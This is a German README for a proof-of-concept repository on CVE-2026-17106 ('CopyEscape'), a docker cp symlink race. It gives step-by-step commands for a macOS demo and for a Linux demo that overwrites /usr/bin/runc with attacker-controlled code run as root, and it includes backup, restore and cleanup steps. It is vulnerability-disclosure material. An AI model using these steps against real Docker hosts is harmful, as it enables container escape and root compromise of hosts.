
PoC-Repository zum Blogbeitrag CopyEscape: Übernahme von Docker-Hosts mit docker cp
docker cp (CVE-2026-17106)Dies ist das Proof-of-Concept-Repository zum Blogbeitrag CopyEscape: Übernahme
von Docker-Hosts mit docker cp — CVE-2026-17106.
CopyEscape ermöglicht es einem bösartigen laufenden Container, den Archiv-Erzeuger
von Docker in einem Wettlauf zu schlagen und einen inkonsistenten Tar-Stream zu
erzeugen. Die anfällige Docker-CLI kann dann während der Extraktion einem
platzierten Symlink folgen und außerhalb des lokalen Ziels schreiben, das von dem
Benutzer ausgewählt wurde, der docker cp ausführt.
Das Repository enthält zwei Demonstrationen:
macos/ enthält eine nicht-destruktive Docker-Desktop-Demonstration,
die ~/pwnd auf dem macOS-Host erstellt.linux/ enthält die ursprüngliche High-Impact-Linux-Demonstration, die
/usr/bin/runc überschreibt und /imperva_red_team erstellt, wenn die ersetzte
Runtime ausgeführt wird.[!WARNING] Führen Sie diese PoCs nur auf Systemen aus, die Ihnen gehören oder für die Sie ausdrücklich zum Testen autorisiert wurden. Der Linux-PoC ersetzt absichtlich
/usr/bin/runc; verwenden Sie eine Wegwerf-VM und erstellen Sie vor dem Auslösen ein verifiziertes Backup.
/usr/bin/runc-Demonstration.Die PoCs wurden gegen Docker Engine/CLI 29.6.1 und Docker Desktop 4.81.0 entwickelt und getestet. Korrigierte Versionen sollten das bösartige Archiv ablehnen oder den Kopiervorgang abschließen, ohne außerhalb des ausgewählten Ziels zu schreiben.
~/pwndDiese Demonstration zielt auf das Home-Verzeichnis des Benutzers, der die Docker-
CLI ausführt. Sie bricht ab, wenn entweder ~/pwnd oder das lokale Ziel file.txt
bereits existiert.
Ausführen:
cd macos
./demo-macos.sh
Das Skript erstellt das Image, startet den vorbereiteten Container, bestätigt, dass
/watched/file.txt darin wie eine normale Datei erscheint, und löst Folgendes aus:
docker cp <demo-container>:/watched/file.txt ./file.txt
Bei einer anfälligen Docker-Desktop-Version erstellt der Kopiervorgang:
~/pwnd
mit folgendem Inhalt:
COPYESCAPE_MACOS_DEMO
Aufräumen:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] Diese Demonstration macht die Runtime des Docker-Hosts vorübergehend unbrauchbar und führt einen angreiferkontrollierten Ersatz als Root aus. Verwenden Sie eine Wegwerf-VM. Nachdem
docker cpzurückgekehrt ist, stellen Sieruncwieder her, bevor Sie einen weiteren Docker- Befehl ausführen.
Öffnen Sie eine Root-Shell und wechseln Sie in das Linux-PoC-Verzeichnis:
sudo -s
cd linux
Erstellen und verifizieren Sie ein Backup, bevor Sie den Test starten:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
Erstellen Sie das Image:
docker build -t copyescape-linux .
Starten Sie den vorbereiteten Container im ersten Terminal:
docker run --name copyescape-linux copyescape-linux
Bestätigen Sie in einem zweiten Root-Terminal, dass der vorbereitete Pfad für einen Prozess im Inneren des Containers wie eine reguläre Datei aussieht:
docker exec copyescape-linux cat /watched/file.txt
Erwartete Ausgabe:
top-level file
Lösen Sie die Schwachstelle aus:
docker cp copyescape-linux:/watched/file.txt ./file.txt
Bei einer anfälligen Docker-Version enthält /usr/bin/runc nun das PoC-Shell-
Skript. Die Ausführung der ersetzten Runtime erstellt die root-eigene Markierung:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
Stellen Sie die ursprüngliche Runtime sofort wieder her, bevor Sie einen weiteren Docker- Befehl ausführen:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
Nachdem runc wiederhergestellt und verifiziert wurde, entfernen Sie die verbleibenden Test-
Artefakte:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
Beide PoCs präsentieren /watched/file.txt Prozessen, die im Container laufen,
als normale Datei, während der Docker-Daemon ein darunterliegendes Verzeichnis
sieht. Während Docker das Dateisystem durchläuft, ersetzt der Monitor ein
Verzeichnis durch einen platzierten absoluten Symlink. Der resultierende
Tar-Stream enthält den Symlink, gefolgt von einem darunterliegenden
Kindeintrag. Eine anfällige Docker-CLI erstellt den Symlink und extrahiert
dann den Kindeintrag durch ihn hindurch auf das Client-Dateisystem.
Der abschließende Schreibvorgang trägt die Berechtigungen des Prozesses, der
docker cp ausführt.